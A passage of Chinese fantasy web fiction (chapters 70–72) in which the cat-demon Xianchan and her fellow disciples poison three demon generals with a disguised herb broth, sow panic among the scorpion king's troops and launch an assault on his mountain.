后面的妖兵见势不对,急忙拉住同伴,但很快他们也像是被吸引了一样,不由自主的迈开了脚步。 这场面乍一看还怪瘆人的。 尤其是妖兵们嘴里还念念有词。 “宝贝天生天养的宝贝” 一边念,一边像失了智一样往藿麻那边冲。 顿时就有妖兵里的小头目反应过来了。 “是宝物出世!有天材地宝出世了!快!把他们拉回来!” 能弄出这么大的阵仗,可见这宝物绝不简单!一定不能便宜了那些底层的妖兵! 小头目们目露贪婪,一时连上报的心都没了,一个个的只想把刚出世的宝贝据为己有。 他们很快就为了那株一看就不是凡品的极品灵植打了起来。 但三个男妖将还是收到了消息,飞快的赶来。 前去报信的小妖跟隐在人群中的阿琅交换了一个眼神,随后默默退回到自己的岗位上去。 “什么宝贝?!给本将军看看!” 金蟾跑得最快,几乎是连蹦带跳的跑了过来。 千足和竹叶青也不遑多让,原型都快跑出来了。 他们上前,粗鲁的拨开围着藿麻打群架的妖兵们,然后眼睛就亮了。 “吔!果真好宝贝!” 金蟾陶醉的深吸了一口充满灵力的空气,只一秒就确定了这个大宝贝对他的修为大有裨益! 一定要把它弄到手! 可是,千足和竹叶青也看到了它啧。 金蟾的眼里划过一丝狠毒的光,却没瞥见千足和竹叶青脸上一样的表情。 刚刚还在一起喝酒划拳称兄道弟的妖将们,在宝贝面前,顷刻间就换了一副模样。 三只手同时朝藿麻抓去。 但谁也没抓到藿麻。 金蟾,千足和竹叶青互相抓着对方的手,力气大得恨不得马上将对方的手掰断。 “咳!二位兄弟听我一言。”还是金蟾反应最快:“虽说天材地宝能者得之,但我们兄弟仨谁跟谁!” 他知道自己今天没法在大庭广众之下以一敌二弄死千足和竹叶青,就只好假惺惺的装出一副大度的样子来。 “为了一个天材地宝伤了咱们的兄弟和气不值当,不如这样!” 金蟾忍着肉痛提议:“这宝贝,咱兄弟仨悄悄地分了罢!” 灵植不大,分成三份已经很勉强了,但这也总比全被蝎子妖霸占,他们一口汤都捞不着要好。 千足和竹叶青闻言一顿。 他们思考了一会,也出于和金蟾一样的原因,不情不愿的收回了手。 “金蟾兄说得有理。” “那就咱们哥仨分了它罢。” 三妖就此达成一致,但很快问题又来了。 这么小一株灵植,要怎么分,才能分得均匀? 三妖谁也不想吃亏,生怕自己少分了一片叶子。 就在他们仨即将再度僵持时,一个小妖跳了出来。 “将军们,小的有办法!不若把这宝贝捣碎了做成汤羹,再分作三碗吧!” 三个男妖将一听,妙啊! 捣碎了就好分了,再做成汤,一妖一碗,谁也甭想多占一口便宜! 于是三个男妖将喜笑颜开的看向那狐耳小妖,赞赏道:“好办法!就依你的来!” 他们一挥手:“去把大厨房的灶头叫来!就在这里架火起锅!” 大厨房跟别的地方不一样,这一窝毒物妖精们互相牵制,又有蝎子妖一力镇压,反而叫它成了谁也插不进手的中立方。 任何一个妖将,都没法把势力安插|进大厨房里。 因此也只有叫大厨房的妖来做这碗汤他们才能放心。 狐耳小妖闻言就答道:“回将军们,小的就是大厨房的灶头。” 阿琅举起手里的锅和铲子,又回头招呼刚刚替妖兵们跑去报信的小妖们给她打下手生火。 三个男妖将见状,齐齐松了口气。 这灶头还挺有眼色的。 待会的刷锅水倒可以赏她一口。 但头一锅刷锅水不行,因为头一锅刷锅水里肯定还有宝贝残留,得他们拿去分。 第二锅的刷锅水才能拿去打赏各自的心腹。 或许也能尝试拉拢一下这个看上去挺会来事的灶头。 三妖心里打着算盘,紧盯着阿琅,亲眼看着她摘下藿麻,再在他们眼皮子底下把藿麻捣碎成泥。 “涮干净些!莫抛洒了!” 金蟾直勾勾的盯着阿琅捣藿麻的石臼,叮嘱她一定要把石臼里的每一丝叶络都涮进锅里。 锅里的水也是照着三碗打的,不多不少。 阿琅手脚麻利的把所有藿麻碎碎都涮进锅里,一丝残留都没剩在石臼中。 这让三个男妖将又放心了些。 他们还提防着怕阿琅偷偷藏私,吞掉他们一丝宝贝络子呢。 现在见阿琅这么老实,完全没动手脚,他们又将心稍稍放回去了点。 很快,藿麻汤就煮好了。 阿琅在三个男妖将直勾勾的眼神中,非常仔细的将锅里的汤分作三碗。 又将汤碗放在托盘上,捧给三妖。 三妖大喜,连忙捧过一碗藿麻汤一饮而尽。 “快!再倒三碗水,把锅里再涮涮!”金蟾急吼吼的把空碗递给阿琅。 阿琅点点头,一丝不苟的照做。 又有三碗清水在三妖的眼皮底下注入锅中。 待刷锅水也喝干净了,三个男妖将这才心满意足的拍了拍阿琅的肩,告诉她她可以继续煮刷锅水。 “第二锅刷锅水你自己留一口,剩下的再呈上来。” 阿琅装作感恩戴德的样子连连道谢。 三个男妖将见状便乐颠颠的回洞府闭关去了。 衔蝉在毒液外面裹着的一层灵力让他们此时感只浑身舒畅,便很急于回去炼化刚下肚的天材地宝。 这样就算等蝎子妖知道这事也晚了,宝贝早就化作他们的法力了。 至于事后要如何被蝎子妖惩治,那都不重要了。 只要能提升法力,三妖受些惩处也甘愿的。 反正木已成舟,蝎子妖也不好自断臂膀,真的把他们怎么着。 这样想着,三妖顿觉神清气爽,宣布回去闭关的速度一个比一个快。 蝎子妖知道这个消息的时候,金蟾千足和竹叶青都已经在冲关了。 蝎子妖气得鼻子都歪了,但现在确实说什么都晚了。 他只能憋着一肚子气,等着那哥仨出关了,再狠狠的收拾他们! 但他等啊等,等了两天,也没见金蟾千足竹叶青出关。《 》 70-75 第71章 话分两头。 在蝎子妖等待三个男妖将出关时, 衔蝉这边,师姐妹三个又聚在了风妧的房间里碰头。 玄蛛也在,风妧的吊床又被她霸占了, 因此师姐妹三个便席地而坐, 商量起来。 “毒已经下下去了,阿琅亲眼看着他们仨喝下去的藿麻汤。” “现在等他们毒发就好了, 对了,那毒要多久才能起作用?”衔蝉看向玄蛛。 玄蛛:“你在外面裹的那层灵力壳子能撑多久, 他们就能活多久。” 只要灵力壳子一消散,那毒液就能让他们哥仨当场毙命。 衔蝉估摸了一下:“唔,那恐怕得等一天呢。” 先前她为了给豆子傀儡做更耐用的“灵力电池”,专门练习过如何把自己的灵力压缩得更凝实。 现在她已经可以做到把一团拳头大的灵力团子压缩成一粒豆子那么大,但灵力总量却不变了。 而给毒液裹灵力壳子的时候, 她又刻意再压了压,起码在那颗藿麻的毒囊里压了三四团拳头大小的灵力进去。 这样压缩到极致的灵力,如果是用正常法子炼化的话,起码也得要一天才能将其“解压”。 “那正好。”玄蛛道:“时隔一天再毒发,谁也猜不到咱们头上。” “不止一天!” 阿琅想起那仨男妖将当时说要回去闭关,她还特意去打听了一下, 他们一般闭关起码得花好几天呢。 而且这几天他们都会在自己洞府里关着石门不让别妖靠近, 到时候毒发作起来,他们想呼救都没机会。 “妙啊!” 风妧一拍大腿:“这样等蝎子妖发现他们死了的时候, 也只会以为是他们自己冲关失败被天材地宝反噬了!” 届时这事再怎么也查不到她们头上了! 师姐妹三个对视一眼,眼中都是喜意。 三个男妖将死定了,已经不需要再关注他们了。 接下来,就是想办法对付蝎子妖了。 衔蝉很谨慎的问玄蛛:“我们合作的事情已经得手了,现在你打算跟咱们拆伙了吗?” 玄蛛似笑非笑:“这得看你们的计划如何了。” 要是她们针对蝎子妖的暗杀计划靠谱, 她倒也不介意帮忙推一把。 但要是衔蝉拿不出像样的暗杀计划,那玄蛛只会选择明哲保身。 “你们若是失手了,我还得回去保大王,跟你们厮杀呢。”她托着下巴,看向师姐妹三个。 衔蝉:“懂了。” 也就是说,玄蛛现在是两边押注,到时候再看哪边赢面更高就加入哪边呗? 玄蛛点头:“也可以这么说。” 反正她是不会傻傻的在一棵树上吊死的。 衔蝉握拳:“好!我们会尽力把你争取到我们这边来的。” 她们一定会想出个稳妥的办法来,做赢面更大那一方! 玄蛛笑了一声:“好啊。” 之后她便优哉游哉的坐在风妧的吊床上,静静地等待着衔蝉三姐妹商量计划。 “我们先来算算,现在我们手上的牌有多少。” 衔蝉盘腿坐在地上,捡了根树枝,用它当笔,在地上列表格。 风妧率先举手:“我已经试过了,镇魂铃对底层妖兵非常好使,可以用它控制住一部分妖兵!” 阿琅也举手:“我们大厨房里的妖起码有一半都有想跑的心,可以合谋下毒!” 衔蝉:“我这边有一群分散在各个山头,可以互相传递消息的杂役小妖。” “还有冶炼场里的人类铁匠,她们已经决定跟我们赌上这一把了。” “我们一起给蝎子妖新造的几批武器动了手脚,到时候一打起来,他们的妖兵一定会措手不及!” “综上所述,我们目前的赢面,大约有三分左右。” 猫一脸严肃:“这还不够。” 还要再添添筹码,让胜算至少达到五六成,才能把玄蛛也拉到己方阵营里来。 “我们还有什么筹码?”阿琅问。 衔蝉:“没有筹码,我们可以制造筹码!” “阿琅,你们大厨房那边的妖上次跟我们这边的杂役小妖配合着传的谣言就很好,我们再加一把火!” “我们要赶在蝎子妖发现三大妖将横死之前,让他手下的军心乱个彻底!” 这样就可以废掉蝎子妖手下的主要战斗力,也就是那上千的妖兵大军。 之后,她们再集中精力,专心去对付蝎子妖。 “好的,那我们接下来要怎么做?” 阿琅撸袖子:“我们大厨房不仅下毒方便,趁着送饭的机会传小话也方便!” 风妧:“我也可以一起!” 衔蝉看着两个师妹,头上灯泡一亮:“我有一个办法!” “我们先联系胡图,让她回去告诉大家,准备好战斗!” “当然,不是立刻就要战,也不是真的要赌上性命跟蝎子妖来个你死我活。” “我们得先造势!让蝎子妖和他的手下都以为我们马上就要大军压境,并且实力远超他们!” 让东坡子洞里的所有战斗力都集结起来,再用些手段做出些大阵势,让蝎子妖这边草木皆兵。 然后再配合底层小妖们散布蝎子妖必败谣言动摇军心,大厨房大锅饭下毒,冶炼场产出的问题武器 “先把势造起来!再趁蝎子妖这边军心大乱时一举进攻,坐实谣言!” 这时候,她们的胜算就至少有四五分了。 只要蝎子妖的手下全部阵脚大乱,她们这边就可以专心致志的想办法对付最后一个最难啃的硬柿子。 “所以咱们要怎么对付蝎子妖?” “他那宝镜实在是个大|麻烦,必须想办法把它解决了。” 风妧抱着胳膊:“只要用镜面对准敌人,喊出咒语,就能把敌人修为法力全吸干,这要怎么动手?” 她们一靠近,蝎子妖马上用镜子给她们一照,咒语一喊,她们不得都完蛋? 没了修为和法力,那不就相当于废了。 这可比死了还难受啊。 衔蝉和阿琅闻言也沉默了好一会。 是啊,这玩意儿要怎么对付啊? 砸又砸不烂,偷又偷不到,那还有什么办法,能解决掉它呢? 衔蝉冥思苦想。 片刻后,猫忽然灵光一闪:“既然宝镜解决不了,那就不解决了吧!” 风妧和阿琅惊愕:“不解决它不行啊!不然有它在,蝎子妖就立于不败之地了啊!” 衔蝉拍爪:“对啊!它那么厉害,比蝎子妖还厉害,那我们为什么不利用它对付蝎子妖?” “玄蛛说过,蝎子妖本身是没有太大本事的,全靠那面宝镜。” “那你们说,如果我们想办法让蝎子妖自己被宝镜照到,他不就完蛋了?” 风妧和阿琅眨巴了一下眼睛。 “可是,我们要怎样才能用宝镜反过来对付蝎子妖呢?” 要知道那可是蝎子妖安身立命的根本,他一定比她们更了解该如何使用它。 更何况使用宝镜的咒语,也只有蝎子妖知道。 他会傻傻的喊出咒语后,再用镜子照自己吗?用脚指头想也不可能的吧。 “所以这就是我们要赌的地方了。” 衔蝉一脸严肃:“赌宝镜对蝎子妖也有效。” 她现在有一个小想法,如果不出意外的话,应该能骗出蝎子妖一句咒语。 “只要骗出他的咒语后,我们也可以喊出咒语试试!” 这就是第二个要赌的地方,赌那宝镜任何人都能用咒语启动。 “但为了以防万一,我们最好提前想办法弄明白这两个问题,不要到了紧要关头再去赌。” 玄蛛忽然插话:“第一个问题不用赌,宝镜对蝎子妖有效。” 她在蝎子妖麾下多年,对他那宝贝也多多少少了解一点。 蝎子妖一向把宝镜挂在胸口,但却小心翼翼的做了很厚的布套,生怕它照到自己。 而且平时他从不轻易开口说出咒语,哪怕他性格其实很好大喜功,也从不为了抖威风而给众妖展示用咒语开启宝镜。 他只在对敌关头,才会掏出宝镜喊出咒语。 而且每次使用的时候,他都是用宝镜背面紧贴嘴唇,遮住下半张脸,再压低声音念咒。 所以玄蛛估计那宝镜对蝎子妖照样有用。 它并没有认蝎子妖为主。 “真的吗!”衔蝉喜出望外:“要是这么说的话,第二个问题也不用赌了!” 既然宝镜没有认主,对蝎子妖也有用,那就说明咒语任何人都能喊! 所以蝎子妖才不敢让人知道咒语是什么! “要是这样的话就好办了!” 衔蝉抚掌:“只要我们骗他念一次咒语,我们就也能用咒语开启宝镜了!” 至于如何在蝎子妖念咒时听清咒语,这倒不是很难。 衔蝉的听力相当好,尤其是当她将灵力汇聚在耳朵上的时候,几乎什么声音都瞒不过她的耳朵。 她有信心在蝎子妖喊出咒语的一瞬间听清他在说什么。 唯一的问题就是,要用谁来骗出蝎子妖的咒语。 “蝎子妖只在对敌时才会喊出咒语,而宝镜一开启,他对面的敌人就会被宝镜吸干修为和法力。” 风妧表情十分沉重:“难道我们一定要牺牲一个同伴,才能拿下蝎子妖吗。” “我!我来!”阿琅举起手:“让我去骗蝎子妖的咒语!我不怕被吸干!” 她坚定道:“我本来法力就不高,修炼速度也不如师姐们快,就算被吸干也不要紧的!” “只是如果以后我变成傻子狐狸了,还要请师姐们多多费心照顾。” 邦的一声。 衔蝉给了阿琅一个重重的脑瓜崩。 “说什么傻话呢!” 阿琅捂着脑门,坚持道:“可是我就是最合适的妖啊!” 衔蝉是大家的主心骨,她绝对绝对不能出任何岔子。 风妧不仅本事比她厉害,还是师尊的亲子,她也不能出问题。 但阿琅觉得自己是没关系的。 她是个孤儿狐狸,本事也不算大,如果非要牺牲的话,她就是最适合的那一个。 而且她相信师姐们和东坡子洞里的大家。 就算她以后没了法力变成了傻子狐狸,大家也不会丢掉她的。 所以阿琅怎么想都觉得自己最合适领这个任务。 然而她的脑瓜又挨了大师姐一记爆栗子。 “快闭嘴!你一点都不合适!”衔蝉叉腰:“我才是最合适的!” “蝎子妖只有面对强敌才会使用宝镜,你不够强,骗不出他的咒语的!” 阿琅的尾巴瞬间垂了下来。 “可是!” “没有可是!”衔蝉一把将激动得要蹦起来的小师妹按了回去。 “我知道你们在担心什么,但你们完全不用担心!” 衔蝉忽然歪嘴一笑。 “我去骗蝎子妖的咒语,但不完全去。” 猫神神秘秘:“总之,山猫自有妙计!” 风妧和阿琅却不信,死命拉着她:“不可以!谁都可以去,就你不行!” “哎呀你们先别急嘛!听我细说”猫把两个师妹从身上扒拉下去,附耳如此如此这般这般。 片刻后,风妧和阿琅长舒一口气,终于松开了衔蝉。 “这样啊,那还行。” 衔蝉右手握拳拍进左掌心:“好!计划大概就是这样了!” 她又扭头看向玄蛛:“玄蛛大将军,现在我们至少有五六分胜算了。” “如果我们和蝎子妖开战,你能稍微划划水吗?” 玄蛛可是一员猛将。 她要是认真起来,东坡子洞里的战斗力不知要折损多少。 而且她手下的妖兵也被她治理得极好,这些天猫到处传谣,各处的底层妖兵都有些焦躁不安了,唯有玄蛛手下的兵不动如山。 当别的底层妖兵都陷入恐慌时,玄蛛手下的妖兵却没有一个在私下里谈论这事的。 管中窥豹,一旦正式开战,玄蛛和她的手下一定会是除了蝎子妖以外最硬的骨头。 所以衔蝉希望玄蛛到时候能看在她们赢面不小的份上,放一放水。 玄蛛微微偏头:“如果你们真能弄出你们所说的那些阵仗的话,我的兵跟着别的妖兵一起乱了,我也管不着。” 衔蝉顿时大喜。 但玄蛛又道:“我的兵或许会乱,我却不会。” 因为蝎子妖很快就会发现他死了三个臂膀,到时候他手下只有玄蛛一个妖将,他一定会盯紧玄蛛。 所以玄蛛本人在开战时,一定会动真格的。 衔蝉点头:“明白,到时候就让我来会会大将军吧。” 玄蛛:“你?你的意思是,你要同时跟我和蝎子妖打?” 她像是忽然来了兴致,上下打量了猫好几眼:“小猫,你真有这么厉害?” 衔蝉摆手:“厉不厉害的不好说,但到了要拼命的时候,谁都会竭尽全力的。” 玄蛛笑了:“有意思。” 她站起来:“我可以答应你,如果你真能同时扛住我和蝎子妖,那我甘拜下风。” 她一向尊重强者。 衔蝉:“那就这么说定了!” “师妹们,走!干活去喽!”猫拍拍衣摆站起来,“我们这就去打蝎子妖一个措手不及!” * 东坡子洞。 风朔接到了爱徒的传讯纸鹤,当即让胡图的斥候小队前去配合衔蝉。 再让白三姑动员山上的所有战斗力,做好开战准备! 一天后,胡图从柿子山归来,将蝎子妖手下妖兵的武器的弱点在何处一一跟大家细讲。 “大王在他们的刀背上动了手脚!大家一定记得先打妖兵的刀背!要竖着打!” “还有咱们去的时候要带上几十面旗帜!阵仗一定要大!” “大王还说,等他们那边乱起来之后,咱们就过去喊‘投降不杀’!” 众妖齐声答:“得令!” 随后,白三姑就带着后勤小妖们,连夜赶制出几十面大旗子。 还请风朔用颜料在旗子上画了个威风凛凛的虎斑猫头。 这就是东坡子洞里的战旗了。 胡图又给衔蝉带去一摞空白符纸,再带回了一摞衔蝉连夜赶工画好的大霹雳符。 “大王有令,这些符箓,一定要在妖兵多的地方用!动静越大越好!” 交待完毕,她将大霹雳符悉数分发给战斗小队的各个先锋,队长。 众妖便各就各位,严阵以待的等着大王的开拨命令。 只要命令一传来,她们即刻就倾巢出动,打上柿子山! * 柿子山上。 衔蝉回到住处,交待杂役小妖们,加大传谣力度! “这次不必再顾忌什么,最好传得所有妖都知道衔蝉大王马上就要打过来了!” 小妖们这时早已唯衔蝉马首是瞻,闻言立刻就转身去散播谣言,制造更大的恐慌了。 衔蝉自己又扭头,去找关师傅等人。 这时是深夜,关师傅等人依旧被关押在单独的山洞里。 衔蝉走过去放倒了几个守夜的妖兵,然后弹出锋利的爪尖,十分粗暴的扯断了铁门上的大锁头。 锁头落地的动静,让屋里的人类铁匠了吓了一跳。 但一看到进来的是衔蝉,大家又松了一口气。 衔蝉这时也顾不得解释许多,上前就让大家抬起脚来。 “关师傅,我们这边很快就要动手,锁链现在我给你们弄断,到时候你们只管跑!” 说罢,猫蹲在关师傅面前,伸手一扯! 那粗粗的铁链在猫的大力出奇迹之下竟被生生扯断! 关师傅:“!” 这么简单粗暴的吗! 她活动了一下脚,脚上依然套着镣铐,但锁住双脚让她们无法大步行走的铁链已经断了。 拖着两截断掉的铁链走了几步,关师傅的眼神都亮了几分。 衔蝉不歇气的给所有人类铁匠都扯断了锁链。 “明天早上这里就会乱起来,不会有妖兵有空再管你们,你们放心跑!” 关师傅看着衔蝉,忽然问道:“闲不住,你们东坡子洞的妖,都像你这样吗?” 衔蝉:“啊?像我什么样?” 关师傅:“不吃人,还很好。” 衔蝉笑了:“那我们东坡子洞的妖还真都像我一样。” “不过我现在空口白牙的说了你们估计也不敢信。” “这样吧,如果你们想看看我们东坡子洞的妖是什么样,可以等明天。” 明天大家打过来了,再让关师傅看看她们东坡子洞的妖是什么样的吧。 关师傅重重的点头:“好。” 她决定不急着走了。 其余的铁匠也沉默着拨弄了一下自己脚上断开的铁链,一个要站起来就走的都没有。 哪怕现在铁门的锁已经被衔蝉扯断了,大门就那么开着。 “好了,我还别的事,我先走了嗷!”猫急匆匆的来,又急匆匆的走。 她往各个山头都跑了一趟,去找了阿琅,又找了风妧,还跟胡图又嘱咐了几句。 忙完这一切,天边已经泛起鱼肚白了。 这时距离三个男妖将吃下藿麻回去闭关,已经过去了两天。 这两天,蝎子妖是越想越气,气得觉都没睡好。 那三个狗东西,居然得了好东西不孝敬他,反而自己私吞,还有没有把他这个大王放在眼里?! 蝎子妖骂骂咧咧,心道,如果不是马上要跟隔壁东坡子洞开战,还用得着他们,他现在就想弄死那三个叛徒! 但一想到传闻中那位神通广大的衔蝉大王,蝎子妖又萎了。 算了算了。 还是把那衔蝉大王打败了再处理那三个叛徒也不迟。 蝎子妖从胸口拉出一个小布套子。 “唉,宝贝啊宝贝,你要是能一直用就好了。” 他这宝贝真是个好宝贝,可惜是个破损的,每个月只能用两次,一次最多只能喊三遍咒语。 超过三遍,它就不应他了。 这是蝎子妖最大的秘密,他谁都没敢告诉。 当然也不敢轻易乱用它,免得真遇到强敌时束手无策。 所以蝎子妖平时主要还是靠四大妖将作威作福。 旁的妖只知道他的宝镜如何的好,却不知道他也有苦处哇! 捏着玄铁打造的镜链,蝎子妖一时长吁短叹,一时又志得意满。 他的宝贝,已经被他焊在自己脖子上了,谁来都偷不走,抢不走。 听说那衔蝉大王的东坡子洞富裕得流油,遍地都是宝,也不知道能不能寻点好东西修一修他这宝贝。 蝎子妖觉得自己要求也不高,只要把宝贝的使用次数修得多一点就好了。 要是能修得一个月用三十次,一次能念十遍咒,他哪里还用得着养着那三个叛徒! 他自己就抄着镜子把东坡子洞里的大王和头目全部拿下了! 捏着镜子辗转了半夜,蝎子妖心里的闷气丝毫没有减少。 天光微亮时,蝎子妖忍不了了,一个翻滚起身,准备亲自去叩关了。 但他刚走出自己的洞府,就听到轰隆一声巨响。 而他不知道的是,此时的各个山头上,发酵了一夜的恐慌情绪终于在猫头旗帜出现时达到了巅峰。 而大霹雳符炸开时那惊天动地的响声,又让更多的小妖软了腿脚。 “不好了!大王!祸事了!” “隔壁的衔蝉大王,她她她,她带着大军打过来了!” 先锋妖哆哆嗦嗦的前来报告蝎子妖,他的背后,隐约可见几面猫头旗帜正在远处飘扬。 蝎子妖:“?!!” 蝎子妖大吃一惊! 对面怎么先打过来了?! 偏偏还挑了个最麻烦的时候来! “该死!快去把金蟾千足和竹叶青弄出来!砸了他们的洞府门也要给老子把他们弄出来!” 蝎子妖一边跳脚,一边又吩咐:“去召玄蛛!叫她先带兵挡住前面!” 第72章 当看到猫头旗帜在自己的地盘上飘起时, 蝎子妖心中虽然有些错愕,但此时还并不怎么慌。 毕竟他麾下的实力可不弱。 有他的妖兵大军在,就算不动用宝镜, 蝎子妖也有信心打败敌人! 况且他手下的四大妖将可不是吃素的! 对手下实力心知肚明的蝎子妖很快便冷静下来, 自己也换上了战袍准备迎战。 而此时,附近的几座山上已经是一片大乱。 底层的苦力小妖, 杂役小妖们一看到猫头旗帜,顿时就像是看到了救星一般, 眼睛都亮了。 白果和麦子想起事前闲不住交待她们的话,当即带着一众小妖,趁乱就跑! 那些负责看守她们的妖兵本想将她们押回去,可奈何此时的小妖们早已没了当初对他们的畏惧! 白果振臂一呼:“杀了他们!跟随闲不住,投衔蝉大王!” 小妖们齐声应和, 有牙的上牙有爪的上爪,百十来个小妖一拥而上,顷刻之间就打趴了那几个看守! 看守妖一倒,众小妖便拿着闲不住给她们留下的信物,直往有猫头旗帜飘扬的地方跑。 她们一路跑还一路大喊:“衔蝉大王打过来了!蝎子妖要败了!” 这时远处又传来大霹雳符爆炸的巨响,像是在应和小妖们一样。 这阵仗着实吓到了更多小妖。 除了妖兵之外, 几乎有大半的妖都跟着白果她们一起跑了。 妖兵们心里虽然有慌乱, 但暂时还没有跟着跑。 因为这时候一来他们接到了征召,马上就要往前线去, 既没空管逃跑的小妖,也不好当众叛逃。 二来现在战况不明,蝎子妖的余威仍在,妖兵们又有妖将带领,勉强还能稳住队伍。 但很快, 妖兵队伍也跟着乱起来了。 ——他们的主将没了! 并且这消息还不是从上面传下来的,是他们自己亲眼看到的! 除了玄蛛的部下外,金蟾千足竹叶青手下的妖兵迟迟没有收到主将传召,又接到上面的命令,说无论如何要先把那三男妖将给弄出关。 于是乎妖兵们就只好跟着各个先锋和小头目,去自家主将洞府前叩关。 可不管他们在洞口怎么喊怎么敲,里面就是没动静! 三个男妖将的心腹们顿时急了,蝎子大王召得急,要是主将出关晚了耽误了战机,他们一样要挨罚! 衡量片刻后,男妖将们的心腹一咬牙心一横,直接叫人打碎洞府门! “大将军,大王召得急,小的们就先得罪了!” 告罪一声后,他们便一起出手,轰隆一声,壮起胆子砸开了自家主将的大门! 然而门后的场景却叫他们魂飞魄散! 那三个男妖将分别歪倒在自己的洞府里,七窍流血,生死不知! 男妖将的心腹们见状骇得一跳:“大将军!!您怎么了!” 他们急忙上前扶起自家主将,再伸手一探。 “了不得了!大将军死了!已经没气了!” 甚至连身体都凉透了,僵直了! 扶着早已气绝身亡的主将,各先锋如丧考妣,面如土色。 主将莫名其妙的死在了紧要关头,这可完蛋了! 他们是既惊又怕,自家主将好端端的,怎么就死了! 这时挤在洞府门口的妖兵们忽然听到了一阵似有若无的铃声。 那铃声让他们昏头昏脑的,嘴里不由自主的就念叨起来:“反噬了冲关,走火入魔反噬了” 一个妖兵的念叨并不起眼,但要是许多妖兵齐齐念叨起来,就很有存在感了。 那三个男妖将的心腹闻言也是心一沉。 是了! 他们的主将一定是被天材地宝反噬了!听说越厉害的宝物,一般妖越压不住! 可现在他们撒手一死,留下他们这些先锋妖兵要如何是好! “快!派妖去告诉大王!咱们大将军死了!”思虑半晌后,先锋们只好先去报告蝎子妖。 于是蝎子妖就这样得知了自己手下三员大将齐齐殒命的消息。 蝎子妖当场就跳了起来:“什么?!那三个王八蛋冲关走火入魔,被反噬死了?!” 他破口大骂:“这遭瘟背时砍脑壳的!早不死晚不死,偏偏现在死了!” 他还想骂那仨背着他吃了好东西遭了报应,可惜这会他们一死,他的臂膀也断了! 要真这么骂的话,倒像是他也遭了报应似的! 蝎子妖本来就没顺下去那口气一下子直冲脑门,怄得他几欲吐血。 但现在再怎么骂他们也不中用了! 还是得先想办法打退来犯之敌要紧! 蝎子妖恨恨咬牙,只得将三大妖将的部下全部收拢,自己领着去迎敌。 然而去迎敌的路上,蝎子妖又见识了什么叫屋漏偏逢连夜雨。 “哎哟!我的肚子!痛煞我也!” 一个妖兵捂着肚子忽然倒下,满地打滚。 蝎子妖正要呵斥,忽地又倒下了一片妖兵。 “娘吔!肠子痛断了!”倒下的妖兵们面色惨白,有的甚至哇的一声开始吐血。 吐着吐着,周围的妖也像是被传染了一样,接连倒了一地。 如果这时有人细细追究,就会发现这些妖兵都是起得早,吃了早饭的那一批。 可惜这会上上下下兵荒马乱的,谁也没注意到这点子小事。 蝎子妖气急败坏:“贼杀才!都起来!再装病老子砍了你们!” 他还以为是这些妖兵为了当逃兵在装病呢。 但很快吐血的妖兵就断了气。 蝎子妖这才明白自己怕是着了道了! “是哪个遭瘟的暗算了老子的兵!”他气得跳脚。 “大王!大王!不好了!那衔蝉大王已经打上前山了!她们委实厉害,咱们快挡不住了!”又有妖兵来报。 蝎子妖气得一佛出世二佛升天,但没奈何,只好先顾着紧要的来。 他气冲冲的带着剩余的妖兵,往前山,也就是柿子山杀去。 这时候的柿子山已经是遍地硝烟。 东坡子洞的妖扛着大旗,边杀边喊“投降不杀”,时不时又放一张大霹雳符,搅得柿子山一片大乱! 玄蛛带兵牢牢的守住了山腰,但东坡子洞的妖早得了吩咐,压根不与她硬碰。 三参带着一股突击小队,绕开了玄蛛,从柿子山另一侧上去,跟衔蝉风妧阿琅汇合。 她们这边一碰头,风妧和阿琅马上跟三参一起,在柿子山上打游击造势。 她们宛如幽灵,不到一刻钟的时间,就收割不少小股妖兵的性命,又叫蝎子妖折损了许多手下。 等蝎子妖发现情况不对,急忙下令召集所有妖兵时,他的手下已经少了五分之一了。 气急败坏的蝎子妖当即命令所有妖兵不许分散行动! 他自己也带着已经赶来集合的妖兵,去跟玄蛛汇合。 玄蛛那边,她带着麾下守在山腰的要塞之地,把这一片守得如同铁桶一般。 但比起狼烟四起的别处,玄蛛镇守之处简直安静得可怕。 本该与她正面相抗的东坡子洞主力部队并没有出现,反而抄远路去了别处。 玄蛛倒也不去追击,只带着兵继续守她的柿子山要塞。 因为蝎子妖给她的命令就是守前线,又没说叫她去别处。 要是她这会跑去守别处了,那得算擅离职守。 故而玄蛛明知道身后的大本营已经被偷了家,但依旧雷打不动的守在前线要塞,绝不挪动一步。 除非蝎子妖改变命令,否则她会一直守在这里。 别的地方怎么样了,那都跟她无关。 毕竟这时候金蟾千足竹叶青的死讯还没传开,她也得装傻,安心的把后方交给那三个更受器重的男妖将才对。 不过等蝎子妖赶来时,前线的情况又陡然一变。 刚刚还风平浪静的要塞外忽然冒出来许多面猫头旗帜。 东坡子洞的主力部队,终于来了。 在看到蝎子妖出来后,她们才终于露面,并摆开了架势,要与他决一死战! 蝎子妖一看她们,却大叫一声“不好!” 因为来犯的妖兵数量如此之少,一看就不是主力不对!这是调虎离山之计啊!他的老巢坏了! 他就说来的路上怎么一个小妖都没看见!搞不好现在人家已经杀进他洞府里去了! 蝎子妖一拍脑袋,急忙又调转方向。 “玄蛛!留一支小兵守要塞即可!你速速带上麾下与我迎敌去!” 玄蛛应了一声,果真只拨了一队小兵留下。 并且还不是她手下正儿八经的兵,只是一群杂兵。 东坡子洞众妖:“” 实不相瞒,有点伤自尊。 什么叫这数量一看就不是主力!她们明明就是主力部队了好吗! 她们山上所有能战的妖都来了! 这可恶的蝎子妖,自己部将多了不起啊! 东坡子洞众妖把一肚子闷气都撒在了那一队小兵身上,两边顿时战作一团。 桃子深吸一口气,噗的一声化作一颗数米高的大桃树,桃枝像鞭子一样,直朝着敌人手中的武器抽去! 她抽的角度十分刁钻,专挑刀背抽,可不等小兵们嘲讽她准头不高,就惊觉自己的武器居然被抽断了! 本该坚不可摧的大铁刀,竟被桃枝抽断了! 小兵们拿着手里的半截断刀目瞪口呆。 趁敌方愣神,桃子大喝一声:“你们现在投降还来得及!不然等会就别怪我们不客气了!” 小兵们倒也有几分骨气,没有当场投降,而是赤手空拳的迎上了东坡子洞众妖。 不过一边没了武器,一边却早有准备,胜负显而易见。 桃子很快就率众拿下了这个要塞。 她们俘虏了那些小兵,将其捆做一团,再马不停蹄的去支援衔蝉。 因为她们妖少,为了能做出大军压境的阵势就必须跑得够快,要把一支队伍跑出十支的错觉来。 要是放在平时,这种稍显拙劣的伪装很容易就会被识破。 毕竟东坡子洞的妖就那么点,大家多打几次照面就会发现,原来刚刚跟我们打的也是你啊! 可问题就在于现在不是平时。 蝎子妖的地盘早被搅得稀巴乱了。 底层小妖们早就跑了,还顺便把蝎子妖必败的口号喊满得漫山遍野都能听见。 又有大厨房里跑出来的妖大声宣告三大妖将已死,此时不跑更待何时? 